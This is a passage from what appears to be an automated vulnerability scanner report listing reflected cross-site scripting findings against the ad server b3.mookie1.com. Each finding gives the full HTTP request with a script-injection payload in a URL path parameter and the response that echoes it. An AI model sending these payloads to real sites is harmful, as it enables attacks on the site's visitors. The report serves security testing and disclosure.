<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-49200b7"><script>alert(1)</script>7e1d59694ad/All/538630173/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.42. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb219"><script>alert(1)</script>78ec181fa99 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-49/Allbb219"><script>alert(1)</script>78ec181fa99/11303658438@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P8sfj1WxPNhXSsYda6b2ziXGP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sADQkBAgUCAAQAAAAAXiR2XAAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBv9VRxj-0TY6iNMX2lQfD1_DqAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtze_WOhtVbXb9r4MiVgqp5PRvdmxw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658438%29%3Buf%28%27c%27%2C+43438%2C+1303658438%29%3Buf%28%27r%27%2C+158848%2C+1303658438%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3B&cnd=!hBzzbAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCriLQJGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:29:58 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-49/Allbb219"><script>alert(1)</script>78ec181fa99/575608553/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.43. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9881a"><script>alert(1)</script>c6906dcae59 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x909881a"><script>alert(1)</script>c6906dcae59 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P8sfj1WxPNhXSsYda6b2ziXGP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sADQkBAgUCAAQAAAAAXiR2XAAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBv9VRxj-0TY6iNMX2lQfD1_DqAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtze_WOhtVbXb9r4MiVgqp5PRvdmxw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658438%29%3Buf%28%27c%27%2C+43438%2C+1303658438%29%3Buf%28%27r%27%2C+158848%2C+1303658438%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3B&cnd=!hBzzbAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCriLQJGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:26 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 349
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2a45525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-49/All/151663992/x909881a"><script>alert(1)</script>c6906dcae59/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.44. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b5ae"><script>alert(1)</script>52171caeb1d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader4b5ae"><script>alert(1)</script>52171caeb1d/PizzaHut_2H/201008/18-49/All/11303658455@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P6UyfF9C5ox7SsYda6b2ziXXP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sAHQ8BAgUCAAQAAAAAfCQDXwAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLQcy1z-0TfvdJsPplQf-o8nfAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtw1gQzvrLVnYgFBPfZb69xRqA_qVw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658468%29%3Buf%28%27c%27%2C+43438%2C+1303658468%29%3Buf%28%27r%27%2C+158848%2C+1303658468%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3B&cnd=!pBxEcQiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCN75EDGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:20 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader4b5ae"><script>alert(1)</script>52171caeb1d/PizzaHut_2H/201008/18-49/All/163063539/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.45. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35c87"><script>alert(1)</script>0233bbd2840 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H35c87"><script>alert(1)</script>0233bbd2840/201008/18-49/All/11303658455@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P6UyfF9C5ox7SsYda6b2ziXXP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sAHQ8BAgUCAAQAAAAAfCQDXwAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLQcy1z-0TfvdJsPplQf-o8nfAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtw1gQzvrLVnYgFBPfZb69xRqA_qVw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658468%29%3Buf%28%27c%27%2C+43438%2C+1303658468%29%3Buf%28%27r%27%2C+158848%2C+1303658468%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3B&cnd=!pBxEcQiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCN75EDGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:22 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H35c87"><script>alert(1)</script>0233bbd2840/201008/18-49/All/850775827/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.46. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d094"><script>alert(1)</script>9007efdaf9b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/2010081d094"><script>alert(1)</script>9007efdaf9b/18-49/All/11303658455@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P6UyfF9C5ox7SsYda6b2ziXXP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sAHQ8BAgUCAAQAAAAAfCQDXwAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLQcy1z-0TfvdJsPplQf-o8nfAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtw1gQzvrLVnYgFBPfZb69xRqA_qVw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658468%29%3Buf%28%27c%27%2C+43438%2C+1303658468%29%3Buf%28%27r%27%2C+158848%2C+1303658468%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3B&cnd=!pBxEcQiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCN75EDGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:24 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/2010081d094"><script>alert(1)</script>9007efdaf9b/18-49/All/574424878/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.47. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4a9e"><script>alert(1)</script>d4940857063 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-49d4a9e"><script>alert(1)</script>d4940857063/All/11303658455@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P6UyfF9C5ox7SsYda6b2ziXXP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sAHQ8BAgUCAAQAAAAAfCQDXwAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLQcy1z-0TfvdJsPplQf-o8nfAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtw1gQzvrLVnYgFBPfZb69xRqA_qVw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658468%29%3Buf%28%27c%27%2C+43438%2C+1303658468%29%3Buf%28%27r%27%2C+158848%2C+1303658468%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3B&cnd=!pBxEcQiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCN75EDGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:26 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-49d4a9e"><script>alert(1)</script>d4940857063/All/867347935/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.48. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e51ea"><script>alert(1)</script>cae4b9c680a was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-49/Alle51ea"><script>alert(1)</script>cae4b9c680a/11303658455@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P6UyfF9C5ox7SsYda6b2ziXXP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sAHQ8BAgUCAAQAAAAAfCQDXwAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLQcy1z-0TfvdJsPplQf-o8nfAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtw1gQzvrLVnYgFBPfZb69xRqA_qVw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658468%29%3Buf%28%27c%27%2C+43438%2C+1303658468%29%3Buf%28%27r%27%2C+158848%2C+1303658468%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3B&cnd=!pBxEcQiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCN75EDGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:28 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-49/Alle51ea"><script>alert(1)</script>cae4b9c680a/855942083/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.49. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7bd8"><script>alert(1)</script>f004eba3524 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90a7bd8"><script>alert(1)</script>f004eba3524 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
